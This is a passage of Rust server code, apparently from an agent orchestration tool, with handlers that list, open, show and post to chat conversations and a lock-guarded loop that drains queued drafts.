7057    /// progress hint rather than proof a reply landed; the transcript remains
7058    /// the source of truth for that.
7059    thinking: bool,
7060    /// Context-window usage, derived per request - see
7061    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7062    /// and each mutation) so the phone needs no extra call or polling.
7063    context: talk::ContextUsage,
7064    /// `[talk] operator_name`, when configured; the Chat labels the
7065    /// operator's turns with it.
7066    operator_name: Option<String>,
7067    /// The active persona's display name; `None` for the default voice.
7068    persona_name: Option<String>,
7069    /// URL of the avatar for the conversation's persona (the default voice
7070    /// included). Server-built; a configured `icon` never reaches the client.
7071    persona_avatar: String,
7072    /// Fixed operator avatar; display only and independent of repository config.
7073    operator_avatar: String,
7074    magi_avatar: String,
7075}
7076
7077impl TalkView {
7078    /// Reads the talk's repository config itself; a config that cannot be
7079    /// read leaves the window unknown but never fails the conversation.
7080    fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7081        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7082        Self::with_config(talk, thinking, cfg.as_ref(), home)
7083    }
7084
7085    /// As [`Self::new`], with the config already in hand (the list reads one
7086    /// per repository, not one per conversation).
7087    fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7088        // This owned value is the display DTO; never write it back to the talk store.
7089        let snapshot = talk.clone();
7090        for (index, turn) in talk.turns.iter_mut().enumerate() {
7091            let original = &snapshot.turns[index];
7092            if turn.messages.is_empty() {
7093                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7094                    turn.messages.push(talk::Message {
7095                        sender: Some(talk::Sender::Magi),
7096                        body: original.body.clone(),
7097                        display: Some(display),
7098                        attachments: original.attachments.clone(),
7099                        reply: None,
7100                    });
7101                }
7102            } else {
7103                for (i, message) in turn.messages.iter_mut().enumerate() {
7104                    message.display =
7105                        talk::notice_display(&snapshot, original, original.messages.get(i));
7106                    if message.display.is_some() {
7107                        message.sender = Some(talk::Sender::Magi);
7108                    }
7109                }
7110            }
7111        }
7112        for message in &mut talk.pending_messages {
7113            if message.display.is_none()
7114                && (message.sender == Some(talk::Sender::Magi)
7115                    || snapshot
7116                        .completion_notices
7117                        .iter()
7118                        .any(|r| r.notice == message.body))
7119            {
7120                message.display = crate::prompt::legacy_notice_display(&message.body);
7121                if message.display.is_some() {
7122                    message.sender = Some(talk::Sender::Magi);
7123                }
7124            }
7125        }
7126        if talk.pending_messages.is_empty()
7127            && snapshot
7128                .completion_notices
7129                .iter()
7130                .any(|r| r.notice == talk.pending)
7131            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7132        {
7133            talk.pending_messages.push(talk::Message {
7134                sender: Some(talk::Sender::Magi),
7135                display: Some(display),
7136                body: talk.pending.clone(),
7137                attachments: talk.pending_attachments.clone(),
7138                reply: None,
7139            });
7140        }
7141        let excerpts: Vec<Vec<Option<String>>> = talk
7142            .turns
7143            .iter()
7144            .map(|turn| {
7145                turn.messages
7146                    .iter()
7147                    .map(|m| {
7148                        m.display
7149                            .as_ref()
7150                            .map(|d| d.facts.chars().take(240).collect())
7151                    })
7152                    .collect()
7153            })
7154            .collect();
7155        for turn in &mut talk.turns {
7156            let provenance = talk::sender(turn, None);
7157            turn.sender = Some(provenance);
7158            for message in &mut turn.messages {
7159                message.sender = Some(message.sender.unwrap_or(provenance));
7160            }
7161        }
7162        // Old reply snapshots have only a role; recover provenance from their target.
7163        let senders: Vec<Vec<talk::Sender>> = talk
7164            .turns
7165            .iter()
7166            .map(|turn| {
7167                if turn.messages.is_empty() {
7168                    vec![talk::sender(turn, None)]
7169                } else {
7170                    turn.messages
7171                        .iter()
7172                        .map(|m| talk::sender(turn, Some(m)))
7173                        .collect()
7174                }
7175            })
7176            .collect();
7177        for reply in talk
7178            .turns
7179            .iter_mut()
7180            .flat_map(|t| t.messages.iter_mut())
7181            .chain(talk.pending_messages.iter_mut())
7182            .filter_map(|m| m.reply.as_mut())
7183        {
7184            if let Some(Some(excerpt)) = excerpts
7185                .get(reply.target.turn)
7186                .and_then(|ms| ms.get(reply.target.message))
7187            {
7188                reply.excerpt = excerpt.clone();
7189                reply.sender = Some(talk::Sender::Magi);
7190            }
7191            if reply.sender.is_none() {
7192                reply.sender = senders
7193                    .get(reply.target.turn)
7194                    .and_then(|messages| messages.get(reply.target.message))
7195                    .copied();
7196            }
7197        }
7198        let context = talk::context_usage(&talk, cfg);
7199        let turn_bodies_md = talk
7200            .turns
7201            .iter()
7202            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7203            .collect();
7204        let turn_messages_md = talk
7205            .turns
7206            .iter()
7207            .map(|turn| {
7208                if turn.messages.is_empty() {
7209                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7210                } else {
7211                    turn.messages
7212                        .iter()
7213                        .map(|message| {
7214                            notice_markdown(
7215                                message.sender.unwrap_or(talk::Sender::Operator),
7216                                &message.body,
7217                                message.display.as_ref(),
7218                            )
7219                        })
7220                        .collect()
7221                }
7222            })
7223            .collect();
7224        let pending_messages_md = talk
7225            .pending_messages
7226            .iter()
7227            .map(|message| {
7228                notice_markdown(
7229                    message.sender.unwrap_or(talk::Sender::Operator),
7230                    &message.body,
7231                    message.display.as_ref(),
7232                )
7233            })
7234            .collect();
7235        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7236        let persona_name = persona::find(specs, &talk.persona)
7237            .filter(|p| !p.is_default())
7238            .map(|p| p.name);
7239        let persona_avatar = avatar_url(
7240            &talk.id,
7241            &persona::find(specs, &talk.persona)
7242                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7243        );
7244        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7245        Self {
7246            turn_bodies_md,
7247            turn_messages_md,
7248            pending_messages_md,
7249            thinking,
7250            context,
7251            operator_name,
7252            persona_name,
7253            persona_avatar,
7254            magi_avatar: magi_icon_url(home),
7255            operator_avatar: format!(
7256                "/avatars/operator.svg?v={}",
7257                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7258            ),
7259            talk,
7260        }
7261    }
7262}
7263
7264/// Parse only the user-facing representation of an explicitly identified MAGI send.
7265fn notice_markdown(
7266    sender: talk::Sender,
7267    body: &str,
7268    display: Option<&crate::prompt::NoticeDisplay>,
7269) -> Option<Vec<md::Node>> {
7270    if sender != talk::Sender::Magi {
7271        return None;
7272    }
7273    let text = if let Some(display) = display {
7274        display.facts.as_str()
7275    } else {
7276        // Unknown completion templates may contain internal directives. Never
7277        // promote their agent input to the Markdown display surface.
7278        if crate::prompt::is_completion_notice(body)
7279            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7280        {
7281            return None;
7282        }
7283        body.strip_prefix("magi: ").unwrap_or(body)
7284    };
7285    Some(md::to_nodes(text, &md::ImageBase::None))
7286}
7287
7288/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
7289/// conversation has filed, so the phone can follow one from inside the
7290/// conversation that asked for it rather than hunting the Queue for a task id
7291/// it may not remember.
7292#[derive(Debug, Serialize)]
7293struct TalkDetailView {
7294    #[serde(flatten)]
7295    view: TalkView,
7296    tasks: Vec<TaskView>,
7297    /// The agents this talk's repository can switch to; empty when its
7298    /// configuration cannot be read, which must not fail the whole detail.
7299    roster: Vec<RosterEntry>,
7300    /// The personas the conversation can pick from. The built-ins are always
7301    /// listed, even when the repository's configuration cannot be read.
7302    personas: Vec<PersonaEntry>,
7303}
7304
7305/// One persona as the talk's persona selector shows it.
7306#[derive(Debug, Serialize)]
7307struct PersonaEntry {
7308    id: String,
7309    name: String,
7310    /// Avatar URL, see [`TalkView::persona_avatar`].
7311    avatar: String,
7312}
7313
7314/// One roster agent as the talk's agent selector shows it.
7315#[derive(Debug, Serialize)]
7316struct RosterEntry {
7317    id: String,
7318    kind: AgentKind,
7319    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
7320    runnable: bool,
7321}
7322
7323/// `GET /api/talks`.
7324///
7325/// Every conversation, open ones first and newest first - [`Talks::list`]'s
7326/// own order.
7327async fn talks_list(
7328    State(ui): State<Arc<Ui>>,
7329    Query(q): Query<ListQuery>,
7330) -> ApiResult<Json<Vec<TalkView>>> {
7331    blocking(move || {
7332        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7333        Ok(Json(
7334            ui.talks
7335                .list()
7336                .into_iter()
7337                .filter(|talk| q.contains(&talk.id))
7338                .map(|talk| {
7339                    let thinking = ui.is_thinking(&talk.id);
7340                    let cfg = configs
7341                        .entry(talk.repo.clone())
7342                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7343                    TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7344                })
7345                .collect(),
7346        ))
7347    })
7348    .await
7349}
7350
7351/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
7352/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
7353/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
7354/// end still opens a talk against an older binary.
7355#[derive(Debug, Default, Deserialize)]
7356#[serde(default)]
7357struct NewTalk {
7358    agent: Option<String>,
7359    repo: Option<PathBuf>,
7360    /// Remembered choices from the browser. Soft: kept as raw JSON so a
7361    /// wrong type is dropped like a stale value instead of failing the request;
7362    /// each falls back to its default on its own (see [`talk::begin_with`]).
7363    preferred_agent: Option<serde_json::Value>,
7364    persona: Option<serde_json::Value>,
7365    implementers: Option<serde_json::Value>,
7366}
7367
7368/// `POST /api/talks` - open a conversation. Takes no agent turn: see
7369/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
7370async fn talk_post(
7371    State(ui): State<Arc<Ui>>,
7372    body: std::result::Result<Json<NewTalk>, JsonRejection>,
7373) -> ApiResult<impl IntoResponse> {
7374    // An absent body, or an empty one, is the normal way to open a talk - see
7375    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
7376    // rather than refused.
7377    let body = match body {
7378        Ok(Json(body)) => body,
7379        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7380        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7381    };
7382    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7383    let cfg = config_for(&repo).await?;
7384    let view = blocking(move || {
7385        let preferred = talk::Preferred {
7386            agent: body
7387                .preferred_agent
7388                .as_ref()
7389                .and_then(|v| v.as_str())
7390                .map(str::to_owned),
7391            persona: body
7392                .persona
7393                .as_ref()
7394                .and_then(|v| v.as_str())
7395                .map(str::to_owned),
7396            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7397        };
7398        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7399        let thinking = ui.is_thinking(&talk.id);
7400        Ok(TalkView::new(talk, thinking, &ui.home))
7401    })
7402    .await?;
7403    Ok((StatusCode::CREATED, Json(view)))
7404}
7405
7406/// `GET /api/talks/{id}`.
7407async fn talk_detail(
7408    State(ui): State<Arc<Ui>>,
7409    Path(id): Path<String>,
7410) -> ApiResult<Json<TalkDetailView>> {
7411    blocking(move || {
7412        let id = resolve_talk(&ui.talks, &id)?;
7413        let talk = ui.talks.get(&id)?;
7414        let thinking = ui.is_thinking(&talk.id);
7415        let tasks = talk::tasks_of(&ui.queue, &talk.id)
7416            .into_iter()
7417            .map(TaskView::from)
7418            .collect();
7419        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7420        let roster = cfg
7421            .as_ref()
7422            .map(|cfg| {
7423                cfg.agents
7424                    .iter()
7425                    .map(|a| RosterEntry {
7426                        id: a.id.clone(),
7427                        kind: a.kind,
7428                        runnable: agent::installed(a),
7429                    })
7430                    .collect()
7431            })
7432            .unwrap_or_default();
7433        let specs = cfg
7434            .as_ref()
7435            .map(|cfg| cfg.talk.personas.clone())
7436            .unwrap_or_default();
7437        let personas = persona::catalog(&specs)
7438            .into_iter()
7439            .map(|p| PersonaEntry {
7440                avatar: avatar_url(&talk.id, &p),
7441                id: p.id,
7442                name: p.name,
7443            })
7444            .collect();
7445        Ok(Json(TalkDetailView {
7446            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7447            tasks,
7448            roster,
7449            personas,
7450        }))
7451    })
7452    .await
7453}
7454
7455/// The body of `POST /api/talks/{id}/say`.
7456///
7457/// `attachments` names ids `POST /api/talks/{id}/attachments` already
7458/// returned - never bytes of its own - so a turn with no images just omits
7459/// the field, which is what an older front end still does.
7460#[derive(Debug, Default, Deserialize)]
7461#[serde(default, deny_unknown_fields)]
7462struct NewTalkTurn {
7463    reply_to: Option<talk::ReplyTarget>,
7464    text: String,
7465    attachments: Vec<String>,
7466}
7467
7468#[derive(Debug, Deserialize)]
7469#[serde(deny_unknown_fields)]
7470struct EditTalkPending {
7471    #[serde(default)]
7472    message: Option<usize>,
7473    text: String,
7474    expected_text: String,
7475    expected_attachments: Vec<String>,
7476}
7477
7478#[derive(Debug, Deserialize)]
7479#[serde(deny_unknown_fields)]
7480struct ClearTalkPending {
7481    expected_text: String,
7482    expected_attachments: Vec<String>,
7483}
7484
7485/// `POST /api/talks/{id}/say` - one turn of the conversation.
7486///
7487/// Not filesystem work, and therefore not routed through [`blocking`]: this
7488/// route spawns an agent CLI and a turn here can run for the whole of
7489/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
7490/// research turn is expected to run commands rather than answer from what it
7491/// already knows. Holding an HTTP connection open that long is not a thing
7492/// to ask a phone to do; the operator's message is recorded and answered for
7493/// immediately, and the reply lands in the background, discovered through
7494/// the change stream's `talks_rev` the same way every other update on this
7495/// surface is.
7496async fn talk_say(
7497    State(ui): State<Arc<Ui>>,
7498    Path(id): Path<String>,
7499    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7500) -> ApiResult<(StatusCode, Json<TalkView>)> {
7501    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7502    if body.text.trim().is_empty() && body.attachments.is_empty() {
7503        return Err(ApiError::bad_request("say something"));
7504    }
7505
7506    let id = {
7507        let ui = Arc::clone(&ui);
7508        let asked = id.clone();
7509        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7510    };
7511    // A closed Talk never accepts a new immediate or queued turn. Check this
7512    // before claiming a slot so its ordinary domain refusal is a 409, not an
7513    // incidental failure from the later record/queue write.
7514    {
7515        let ui = Arc::clone(&ui);
7516        let id = id.clone();
7517        blocking(move || {
7518            let talk = ui.talks.get(&id)?;
7519            if !talk.status.open() {
7520                return Err(ApiError::conflict(format!(
7521                    "talk {} is {} and takes no more turns",
7522                    talk.short(),
7523                    talk.status.as_str()
7524                )));
7525            }
7526            Ok(())
7527        })
7528        .await?;
7529    }
7530
7531    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
7532    // actually stores, before anything is written - an unknown id is a 4xx
7533    // that names it rather than a turn (or a queued draft) silently missing
7534    // an image.
7535    let attachments = {
7536        let ui = Arc::clone(&ui);
7537        let id = id.clone();
7538        let ids = body.attachments.clone();
7539        blocking(move || {
7540            ids.into_iter()
7541                .map(|att_id| {
7542                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7543                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7544                    })
7545                })
7546                .collect::<ApiResult<Vec<talk::Attachment>>>()
7547        })
7548        .await?
7549    };
7550
7551    // Pending recovery and a new immediate turn are decided under the same
7552    // claim lock. Without that one critical section, a second `/say` can see
7553    // the first request's claim as "busy" and append itself to the recovered
7554    // draft before the first request rejects it.
7555    let start = {
7556        let ui = Arc::clone(&ui);
7557        let id = id.clone();
7558        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7559    };
7560    let turn_guard = match start {
7561        TalkTurnStart::Claimed(turn_guard) => turn_guard,
7562        TalkTurnStart::Pending => {
7563            return Err(ApiError::conflict(
7564                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7565            ));
7566        }
7567        TalkTurnStart::Foreign => {
7568            return Err(ApiError::conflict(
7569                "a turn is already running in another process; try again when it has finished",
7570            ));
7571        }
7572        TalkTurnStart::Busy => {
7573            // A turn is already running: queue rather than refuse. See
7574            // `Ui::begin_talk_turn` and `talk::queue`.
7575            //
7576            // The queue write and the drain it may owe live inside the task
7577            // `tokio::spawn` hands to the runtime, for the same reason the
7578            // immediate path below puts `record` there: a dropped handler
7579            // future must not be able to land between a durable write and
7580            // the task that answers it. `blocking` runs its closure on
7581            // `spawn_blocking`, which finishes whether or not anyone is left
7582            // to receive its result - so a disconnect at the `.await` below
7583            // would otherwise leave the draft persisted and the reclaimed
7584            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
7585            // ever started and the queued text stranded until some later
7586            // `say` happened to pick it up. The caller's 202 travels back
7587            // over a `oneshot`, sent the moment the write lands.
7588            let (tx, rx) = tokio::sync::oneshot::channel();
7589            tokio::spawn({
7590                let ui = Arc::clone(&ui);
7591                let id = id.clone();
7592                let said = body.text.clone();
7593                let reply_to = body.reply_to.clone();
7594                async move {
7595                    let written = blocking({
7596                        let ui = Arc::clone(&ui);
7597                        let id = id.clone();
7598                        move || {
7599                            let mut talk = ui.talks.get(&id)?;
7600                            // A test-only stop point, right before the write
7601                            // an interleaving test needs to pin - see
7602                            // `BusyQueueGate`. `None` in every real server:
7603                            // the field only exists under `#[cfg(test)]`.
7604                            #[cfg(test)]
7605                            if let Some(gate) = ui
7606                                .busy_queue_gate
7607                                .lock()
7608                                .unwrap_or_else(PoisonError::into_inner)
7609                                .take()
7610                            {
7611                                let _ = gate.reached.send(());
7612                                let _ = gate.release.recv();
7613                            }
7614                            if let Err(error) = talk::queue_reply(
7615                                &mut talk,
7616                                &ui.talks,
7617                                &said,
7618                                attachments,
7619                                reply_to,
7620                            ) {
7621                                if let Ok(fresh) = ui.talks.get(&id) {
7622                                    if !fresh.status.open() {
7623                                        return Err(ApiError::conflict(format!(
7624                                            "talk {} is {} and takes no more turns",
7625                                            fresh.short(),
7626                                            fresh.status.as_str()
7627                                        )));
7628                                    }
7629                                }
7630                                return Err(
7631                                    if error.to_string().contains("invalid reply target") {
7632                                        ApiError::bad_request("invalid reply target")
7633                                    } else {
7634                                        ApiError::from(error)
7635                                    },
7636                                );
7637                            }
7638                            // The turn that looked busy a moment ago can have
7639                            // finished, found nothing to drain and given up the
7640                            // slot in the gap between that check and this write
7641                            // landing - see `drain_loop`'s own doc for the other
7642                            // half of why that gap would otherwise be able to
7643                            // open at all. Reclaiming the slot here, rather than
7644                            // trusting that whoever held it is still watching, is
7645                            // what stops the text just queued from being stranded
7646                            // until an unrelated future `say` happens to drain
7647                            // it.
7648                            let claim = match ui.begin_queued_talk_turn(&id)? {
7649                                Some(turn_guard) => {
7650                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7651                                    Some((talk.clone(), cfg, turn_guard))
7652                                }
7653                                None => None,
7654                            };
7655                            let thinking = ui.is_thinking(&id);
7656                            Ok((TalkView::new(talk, thinking, &ui.home), claim))
7657                        }
7658                    })
7659                    .await;
7660                    let (view, reclaimed) = match written {
7661                        Ok(pair) => pair,
7662                        Err(e) => {
7663                            // Nobody is listening if the handler's own future
7664                            // was already dropped - that is fine, nothing was
7665                            // persisted and there is no response left to carry
7666                            // this error to.
7667                            let _ = tx.send(Err(e));
7668                            return;
7669                        }
7670                    };
7671                    // If this fails, the caller is gone; the drain below still
7672                    // runs exactly as it would have for a caller that stayed.
7673                    let _ = tx.send(Ok(view));
7674                    if let Some((talk, cfg, turn_guard)) = reclaimed {
7675                        let talks = ui.talks.clone();
7676                        drain_loop(talk, talks, cfg, id, turn_guard).await;
7677                    }
7678                }
7679            });
7680            let view = rx
7681                .await
7682                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7683            return Ok((StatusCode::ACCEPTED, Json(view)));
7684        }
7685    };
7686
7687    let (talk, cfg) = {
7688        let ui = Arc::clone(&ui);
7689        let id = id.clone();
7690        blocking(move || {
7691            let talk = ui.talks.get(&id)?;
7692            let (cfg, _) = Config::discover(&talk.repo, None)?;
7693            Ok((talk, cfg))
7694        })
7695        .await?
7696    };
7697
7698    let talks = ui.talks.clone();
7699    // `record` runs *inside* the spawned task, rather than in this handler
7700    // followed by a separate `tokio::spawn` for `respond` - axum drops this
7701    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
7702    // doc), and that drop can land at any `.await` this function makes,
7703    // including one that has already produced its result but not yet
7704    // resumed. A message could end up recorded on disk with the handler
7705    // future gone before it ever reached the `tokio::spawn` that would have
7706    // started the reply. `tokio::spawn` itself is a plain, synchronous call
7707    // that hands the whole future to the runtime as one unit - once made, no
7708    // later drop of *this* handler's own future (that call's return value is
7709    // never held onto here) can reach back in and stop it, so record and the
7710    // hand-off to `respond` are unconditionally atomic from the client's
7711    // point of view. The immediate response this handler owes the caller
7712    // travels back over a `oneshot`, sent the moment `record` succeeds.
7713    let (tx, rx) = tokio::sync::oneshot::channel();
7714    tokio::spawn({
7715        let ui = Arc::clone(&ui);
7716        let talks = talks.clone();
7717        let id = id.clone();
7718        let said = body.text.clone();
7719        let reply_to = body.reply_to.clone();
7720        let mut talk = talk.clone();
7721        async move {
7722            let recorded = blocking({
7723                let talks = talks.clone();
7724                move || {
7725                    if let Err(error) =
7726                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7727                    {
7728                        if let Ok(fresh) = talks.get(&talk.id) {
7729                            if !fresh.status.open() {
7730                                return Err(ApiError::conflict(format!(
7731                                    "talk {} is {} and takes no more turns",
7732                                    fresh.short(),
7733                                    fresh.status.as_str()
7734                                )));
7735                            }
7736                        }
7737                        return Err(if error.to_string().contains("invalid reply target") {
7738                            ApiError::bad_request("invalid reply target")
7739                        } else {
7740                            ApiError::from(error)
7741                        });
7742                    }
7743                    // `record` mutates `talk` in place to the freshly persisted
7744                    // state (status, pending, and the just-appended operator
7745                    // turn), so returning it here is equivalent to re-reading it
7746                    // from disk - without the extra round trip a re-read would
7747                    // need.
7748                    Ok((said.trim().to_owned(), talk))
7749                }
7750            })
7751            .await;
7752            let (text, mut talk) = match recorded {
7753                Ok(pair) => pair,
7754                Err(e) => {
7755                    // Nobody is listening if the handler's own future was
7756                    // already dropped - that is fine, there is no response
7757                    // left to carry this error to and nothing was persisted.
7758                    let _ = tx.send(Err(e));
7759                    return;
7760                }
7761            };
7762            let queued = talk.clone();
7763            let thinking = ui.is_thinking(&id);
7764            // If this fails, the caller is gone; the turn still runs below
7765            // exactly as it would have for a caller that stayed connected.
7766            let _ = tx.send(Ok((queued, thinking)));
7767
7768            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7769                // `respond` records the failure in the transcript itself,
7770                // which is what the phone reads; this line is for the
7771                // operator's terminal.
7772                tracing::warn!("talk {id} turn failed: {e:#}");
7773            }
7774            // Anything `talk::queue` added while the turn above was running
7775            // is still owed an answer - see `drain_loop`.
7776            drain_loop(talk, talks, cfg, id, turn_guard).await;
7777        }
7778    });
7779
7780    let (queued, thinking) = rx
7781        .await
7782        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7783
7784    // 202: the operator's message is recorded and a turn is running.
7785    Ok((
7786        StatusCode::ACCEPTED,
7787        Json(TalkView::new(queued, thinking, &ui.home)),
7788    ))
7789}
7790
7791/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7792/// changing it. The turn guard is the same per-talk ownership `talk_say`
7793/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7794async fn talk_pending_resume(
7795    State(ui): State<Arc<Ui>>,
7796    Path(id): Path<String>,
7797) -> ApiResult<(StatusCode, Json<TalkView>)> {
7798    let id = {
7799        let ui = Arc::clone(&ui);
7800        let asked = id.clone();
7801        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7802    };
7803    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7804        return Err(ApiError::conflict(
7805            "a talk turn is already running; the queued draft will be handled by it",
7806        ));
7807    };
7808    let (talk, cfg) = {
7809        let ui = Arc::clone(&ui);
7810        let id = id.clone();
7811        blocking(move || {
7812            let talk = ui.talks.get(&id)?;
7813            if !talk.status.open() {
7814                return Err(ApiError::conflict(format!(
7815                    "talk {} is {} and takes no more turns",
7816                    talk.short(),
7817                    talk.status.as_str()
7818                )));
7819            }
7820            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7821                return Err(ApiError::conflict("there is no queued draft to resume"));
7822            }
7823            let (cfg, _) = Config::discover(&talk.repo, None)?;
7824            Ok((talk, cfg))
7825        })
7826        .await?
7827    };
7828    let view = TalkView::new(talk.clone(), true, &ui.home);
7829    let talks = ui.talks.clone();
7830    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7831    Ok((StatusCode::ACCEPTED, Json(view)))
7832}
7833
7834/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7835/// releasing `turn` only once a check finds it truly empty. Shared by both
7836/// callers that can end up owning a talk's turn slot with something already
7837/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
7838/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7839/// holder just gave up - see the comment at that call site.
7840///
7841/// The release is folded into the final generation check under `turn`'s own
7842/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7843/// free". Before its blocking `talk::drain`, this loop observes the queued
7844/// generation. A `say` that sees the turn busy writes its draft, then advances
7845/// that generation. Thus, if it lands while the drain is in flight, the final
7846/// check observes the advance and drains again; otherwise it releases the
7847/// claim while holding the same lock. This keeps the release/arrival handoff
7848/// atomic without holding the global claim mutex across filesystem I/O.
7849async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7850    drain_loop_started(talk, talks, cfg, id, turn, None).await;
7851}
7852
7853/// A settings response must not report idle while its claim is still held.
7854/// Wait until the first drain either releases the claim or promotes a draft.
7855/// The task owns the guard even if the HTTP handler is cancelled while waiting.
7856async fn settle_settings_turn(
7857    talk: Talk,
7858    talks: Talks,
7859    cfg: Config,
7860    id: String,
7861    turn: TalkTurnGuard,
7862    observed: u64,
7863) -> bool {
7864    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7865        let turns = Arc::clone(&turn.turns);
7866        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7867        if live.queued.get(&id).copied().unwrap_or(0) == observed {
7868            // Release under the arrival lock; a later `/say` takes its own claim.
7869            turn.release(&mut live);
7870            return false;
7871        }
7872    }
7873    let (started, settled) = tokio::sync::oneshot::channel();
7874    tokio::spawn(drain_loop_started(
7875        talk,
7876        talks,
7877        cfg,
7878        id,
7879        turn,
7880        Some(started),
7881    ));
7882    settled.await.unwrap_or(false)
7883}
7884
7885async fn drain_loop_started(
7886    mut talk: Talk,
7887    talks: Talks,
7888    cfg: Config,
7889    id: String,
7890    turn: TalkTurnGuard,
7891    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7892) {
7893    let live_set = Arc::clone(&turn.turns);
7894    // `Option` rather than binding `turn` directly to a `_turn` that lives
7895    // for the whole function: releasing it has to happen by calling
7896    // `TalkTurnGuard::release` from inside the locked branch below, which
7897    // takes `self` by value. Left as a plain drop instead, `Drop` would still
7898    // remove the id - correctly, if this loop is ever left some other way -
7899    // but doing it there misses the lock this loop is already holding, which
7900    // is the exact gap `release` exists to close.
7901    let mut turn = Some(turn);
7902    loop {
7903        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7904            // The lease was taken over while a turn ran. Whatever is queued
7905            // stays a draft; running it here would race the new owner.
7906            tracing::warn!("talk {id} lost its turn lease; not draining further");
7907            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7908            if let Some(turn) = turn.take() {
7909                turn.release(&mut live);
7910            }
7911            break;
7912        }
7913        {
7914            // A parking upgrade starts no further turn: whatever is queued
7915            // stays a durable draft for the successor.
7916            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7917            if live.parking {
7918                if let Some(turn) = turn.take() {
7919                    turn.release(&mut live);
7920                }
7921                break;
7922            }
7923        }
7924        // `talk::drain` takes the store lock and can write/rename the talk
7925        // file. Keep the turn mutex out of that synchronous work: it protects
7926        // every talk's in-memory claim, not this talk's disk operation.
7927        let observed = live_set
7928            .lock()
7929            .unwrap_or_else(PoisonError::into_inner)
7930            .queued
7931            .get(&id)
7932            .copied()
7933            .unwrap_or(0);
7934        let drained = blocking({
7935            let talks = talks.clone();
7936            let live_set = Arc::clone(&live_set);
7937            move || {
7938                // Promoting a draft is what starts a turn, so it is decided
7939                // under the same lock a parking upgrade takes: either the
7940                // promotion lands first (and its turn is waited for) or the
7941                // draft stays queued.
7942                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7943                let result = if live.parking {
7944                    Ok(None)
7945                } else {
7946                    talk::drain(&mut talk, &talks)
7947                };
7948                drop(live);
7949                Ok((talk, result))
7950            }
7951        })
7952        .await;
7953        let (next_talk, result) = match drained {
7954            Ok(drained) => drained,
7955            Err(e) => {
7956                tracing::warn!(
7957                    status = %e.status,
7958                    message = %e.message,
7959                    "talk {id} could not start queued-text drain"
7960                );
7961                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7962                turn.take()
7963                    .expect("held for the whole loop until released here")
7964                    .release(&mut live);
7965                break;
7966            }
7967        };
7968        talk = next_talk;
7969        let drained = match result {
7970            Ok(Some(drained)) => drained,
7971            Ok(None) => {
7972                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7973                if live.queued.get(&id).copied().unwrap_or(0) != observed {
7974                    continue;
7975                }
7976                turn.take()
7977                    .expect("held for the whole loop until released here")
7978                    .release(&mut live);
7979                break;
7980            }
7981            Err(e) => {
